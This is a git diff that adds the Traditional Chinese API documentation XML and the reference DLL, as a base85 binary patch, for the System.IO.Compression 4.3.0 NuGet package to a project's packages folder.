a/packages/System.IO.Compression.4.3.0/ref/netcore50/zh-hant/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netcore50/zh-hant/System.IO.Compression.xml new file mode 100644 index 0000000..e14f0da --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netcore50/zh-hant/System.IO.Compression.xml @@ -0,0 +1,432 @@ + + + + System.IO.Compression + + + + 指定值，這個值表示壓縮作業會強調速度還是壓縮大小。 + + + 即使不能有效壓縮所產生的檔案，應該儘速完成壓縮作業。 + + + 不應該對檔案執行壓縮。 + + + 壓縮作業應該會進行最佳化壓縮，即使該作業耗費更長的時間才能完成。 + + + 指定是要壓縮還是要解壓縮基礎資料流。 + + + 壓縮基礎資料流。 + + + 解壓縮基礎資料流。 + + + 提供方法和屬性，以透過 Deflate 演算法來壓縮和解壓縮資料流。 + + + 使用指定的資料流和壓縮層級，初始化 類別的新執行個體。 + 要壓縮的資料流。 + 其中一個列舉值，指出當壓縮資料流時是否要強調速度或壓縮的效益。 + + 為 null。 + 資料流不支援寫入作業，例如壓縮。(資料流物件上的 屬性是false)。 + + + 使用指定的資料流和壓縮層級，初始化 類別的新執行個體，並選擇性地保持開啟資料流。 + 要壓縮的資料流。 + 其中一個列舉值，指出當壓縮資料流時是否要強調速度或壓縮的效益。 + true 表示在處置 物件之後，將資料流物件保持開啟；否則為 false。 + + 為 null。 + 資料流不支援寫入作業，例如壓縮。(資料流物件上的 屬性是false)。 + + + 使用指定的資料流和壓縮模式，初始化 類別的新執行個體。 + 要壓縮或解壓縮的資料流。 + 其中一個列舉值，表示要壓縮還是解壓縮資料流。 + + 為 null。 + + 不是有效的 值。-或- 是 ，而 是 false。-或- 是 ，而 是 false。 + + + 使用指定的資料流和壓縮模式，初始化 類別的新執行個體，並選擇性地保持開啟資料流。 + 要壓縮或解壓縮的資料流。 + 其中一個列舉值，表示要壓縮還是解壓縮資料流。 + true 表示在處置 物件之後，將資料流保持開啟；否則為 false。 + + 為 null。 + + 不是有效的 值。-或- 是 ，而 是 false。-或- 是 ，而 是 false。 + + + 取得基礎資料流的參考。 + 資料流物件，表示基礎資料流。 + 已關閉基礎資料流。 + + + 取得值，指出在解壓縮檔案時，資料流是否支援讀取。 + 如果 值為 Decompress，且基礎資料流處於開啟狀態並支援讀取，則為 true；否則為 false。 + + + 取得值，指出資料流是否支援搜尋。 + 所有情況下都是 false。 + + + 取得值，指出資料流是否支援寫入。 + 如果 值為 Compress，並且基礎資料流支援寫入，且不處於關閉狀態，則為 true；否則為 false。 + + + 釋放 所使用的 Unmanaged 資源，並選擇性釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 這個方法目前的實作沒有任何功能。 + 已關閉資料流。 + + + + + + 這個屬性不受支援，而且一律會擲回 。 + 長整數值。 + 這個資料流不支援這個屬性。 + + + + + + 這個屬性不受支援，而且一律會擲回 。 + 長整數值。 + 這個資料流不支援這個屬性。 + + + + + + 將大量解壓縮的位元組讀入指定的位元組陣列。 + 已讀入至位元組陣列的位元組數。 + 用於儲存解壓縮位元組的陣列。 + 要在其中放置讀取位元組之 的位元組位移。 + 要讀取的最大解壓縮位元組數。 + + 為 null。 + 建立物件時， 的值為 Compress。-或- 基礎資料流不支援讀取。 + + 或 小於零。-或- 長度減去索引起點小於 。 + 資料的格式無效。 + 已關閉資料流。 + + + 這個作業不受支援，而且一律會擲回 。 + 長整數值。 + 在資料流中的位置。 + 其中一個 值。 + 這個資料流不支援這個屬性。 + + + 這個作業不受支援，而且一律會擲回 。 + 資料流的長度。 + 這個資料流不支援這個屬性。 + + + 從指定的位元組陣列將壓縮的位元組寫入基礎資料流。 + 包含要壓縮之資料的緩衝區。 + + 中的位元組位移，即讀取位元組的來源位置。 + 寫入的最大位元組數。 + + + 提供用於壓縮和解壓縮資料流的方法和屬性。 + + + 使用指定的資料流和壓縮層級，初始化 類別的新執行個體。 + 要寫入壓縮資料的資料流。 + 其中一個列舉值，指出當壓縮資料流時是否要強調速度或壓縮的效益。 + + 為 null。 + 資料流不支援寫入作業，例如壓縮。(資料流物件上的 屬性是false)。 + + + 使用指定的資料流和壓縮層級，初始化 類別的新執行個體，並選擇性地保持開啟資料流。 + 要寫入壓縮資料的資料流。 + 其中一個列舉值，指出當壓縮資料流時是否要強調速度或壓縮的效益。 + true 表示在處置 物件之後，將資料流物件保持開啟；否則為 false。 + + 為 null。 + 資料流不支援寫入作業，例如壓縮。(資料流物件上的 屬性是false)。 + + + 使用指定的資料流和壓縮模式，初始化 類別的新執行個體。 + 寫入壓縮或解壓縮資料的資料流。 + 其中一個列舉值，表示要壓縮還是解壓縮資料流。 + + 為 null。 + + 不是有效的 列舉值。-或- 是 ，而 是 false。-或- 是 ，而 是 false。 + + + 使用指定的資料流和壓縮模式，初始化 類別的新執行個體，並選擇性地保持開啟資料流。 + 寫入壓縮或解壓縮資料的資料流。 + 其中一個列舉值，表示要壓縮還是解壓縮資料流。 + true 表示在處置 物件之後，將資料流保持開啟；否則為 false。 + + 為 null。 + + 不是有效的 值。-或- 是 ，而 是 false。-或- 是 ，而 是 false。 + + + 取得基礎資料流的參考。 + 資料流物件，表示基礎資料流。 + 已關閉基礎資料流。 + + + + + + 取得值，指出在解壓縮檔案時，資料流是否支援讀取。 + 如果 值為 Decompress,，並且基礎資料流支援讀取，且不處於關閉狀態，則為 true；否則為 false。 + + + + + + 取得值，指出資料流是否支援搜尋。 + 所有情況下都是 false。 + + + 取得值，指出資料流是否支援寫入。 + 如果 值為 Compress，並且基礎資料流支援寫入，且不處於關閉狀態，則為 true；否則為 false。 + + + + + + 釋放 所使用的 Unmanaged 資源，並選擇性釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 這個方法目前的實作沒有任何功能。 + 已關閉資料流。 + + + + + + 這個屬性不受支援，而且一律會擲回 。 + 長整數值。 + 這個資料流不支援這個屬性。 + + + + + + 這個屬性不受支援，而且一律會擲回 。 + 長整數值。 + 這個資料流不支援這個屬性。 + + + + + + 將大量解壓縮的位元組讀入指定的位元組陣列。 + 解壓縮至位元組陣列的位元組數。如果已達到資料流的結尾，則會傳回零或位元組數。 + 用於儲存解壓縮位元組的陣列。 + 要在其中放置讀取位元組之 的位元組位移。 + 要讀取的最大解壓縮位元組數。 + + 為 null。 + 建立物件時， 的值為 Compress。-或-基礎資料流不支援讀取。 + + 或 小於零。-或- 長度減去索引起點小於 。 + 資料的格式無效。 + 已關閉資料流。 + + + 這個屬性不受支援，而且一律會擲回 。 + 長整數值。 + 在資料流中的位置。 + 其中一個 值。 + 這個資料流不支援這個屬性。 + + + 這個屬性不受支援，而且一律會擲回 。 + 資料流的長度。 + 這個資料流不支援這個屬性。 + + + 從指定的位元組陣列將壓縮的位元組寫入基礎資料流。 + 包含要壓縮之資料的緩衝區。 + + 中的位元組位移，即讀取位元組的來源位置。 + 寫入的最大位元組數。 + 無法執行寫入作業，因為資料流已關閉。 + + + 代表 zip 封存格式的壓縮檔封裝。 + + + 從指定的資料流，初始化 類別的新執行個體。 + 包含要讀取之封存的資料流。 + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + 使用指定的模式，從指定的資料流初始化 類別的新執行個體。 + 輸入或輸出資料流。 + 其中一個列舉值，指出是否使用 zip 封存讀取、建立或更新項目。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 在指定之模式的指定資料流上，初始化 類別的新執行個體，並選擇性地保留資料流開啟狀態。 + 輸入或輸出資料流。 + 其中一個列舉值，指出是否使用 zip 封存讀取、建立或更新項目。 + true 表示在處置 物件之後，將資料流保持開啟，否則為 false。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 在指定模式的指定資料流上，初始化 類別的新執行個體，使用項目名稱的指定編碼方式，並選擇性地保留資料流開啟狀態。 + 輸入或輸出資料流。 + 其中一個列舉值，指出是否使用 zip 封存讀取、建立或更新項目。 + true 表示在處置 物件之後，將資料流保持開啟，否則為 false。 + 在此封存中讀取或寫入項目名稱時要使用的編碼方式。只有需要編碼以與 Zip 封存工具和程式庫互通，且這類工具和程式庫不支援項目名稱使用 UTF-8 編碼時，才指定此參數的值。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 在 zip 封存中建立具有指定之路徑和項目名稱的空項目。 + Zip 封存中的空項目。 + 指定要建立之項目名稱的路徑 (相對於封存的根目錄)。 + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + 在 zip 封存中建立具有指定之項目名稱和壓縮等級的空項目。 + Zip 封存中的空項目。 + 指定要建立之項目名稱的路徑 (相對於封存的根目錄)。 + 其中一個列舉值，指出建立項目時是否要強調速度或壓縮的效益。 + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + 將 類別目前的執行個體所使用的資源釋出。 + + + 由 和 方法呼叫以釋放 類別之目前執行個體所使用的 Unmanaged 資源，並選擇性完成封存的寫入以及釋放 Managed 資源。 + true 表示完成寫入封存並釋放 Managed 和 Unmanaged 資源，false 表示只釋放 Unmanaged 資源。 + + + 取得目前 zip 封存中所包含項目的集合。 + 目前 zip 封存中所包含項目的集合。 + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + 在 zip 封存中擷取指定項目的包裝函式。 + 封存中指定項目的包裝函式，如果項目不存在於封存中則為 null。 + 識別要擷取之項目的路徑 (相對於封存的根目錄)。 + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + 取得值，描述 zip 封存可以在項目上執行的動作類型。 + 其中一個列舉值，其描述 zip 封存可以在項目上執行的動作類型 (讀取、建立或更新)。 + + + 表示 zip 封存中的壓縮檔。 + + + 取得項目所屬的 zip 封存。 + 項目所屬的 Zip 封存，如果已刪除項目，則為 null。 + + + 取得 Zip 封存中的項目壓縮大小。 + Zip 封存中項目的壓縮大小。 + The value of the property is not available because the entry has been modified. + + + 從 zip 封存中刪除項目。 + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + 取得 Zip 封存中的項目相對路徑。 + Zip 封存中的項目相對路徑。 + + + 取得或設定上次變更 zip 封存中之項目的時間。 + 上次變更 zip 封存中之項目的時間。 + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + 取得 Zip 封存中的項目未壓縮大小。 + Zip 封存中的項目未壓縮大小。 + The value of the property is not available because the entry has been modified. + + + 取得 Zip 封存中的項目檔名。 + Zip 封存中的項目檔名。 + + + 從 zip 封存中開啟項目。 + 代表此項目內容的資料流。 + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + 擷取 Zip 封存中項目的相對路徑。 + 項目的相對路徑，其為儲存在 屬性中的值。 + + + 指定與 zip 封存項目互動的值。 + + + 僅允許建立新的封存項目。 + + + 僅允許讀取封存項目。 + + + 封存項目允許讀取及寫入作業。 + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/System.IO.Compression.dll b/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/System.IO.Compression.dll new file mode 100644 index 0000000000000000000000000000000000000000..2b6a85643dcffe4e9fe71d3336da3f259e798dbc GIT binary patch literal 23520 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 z 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 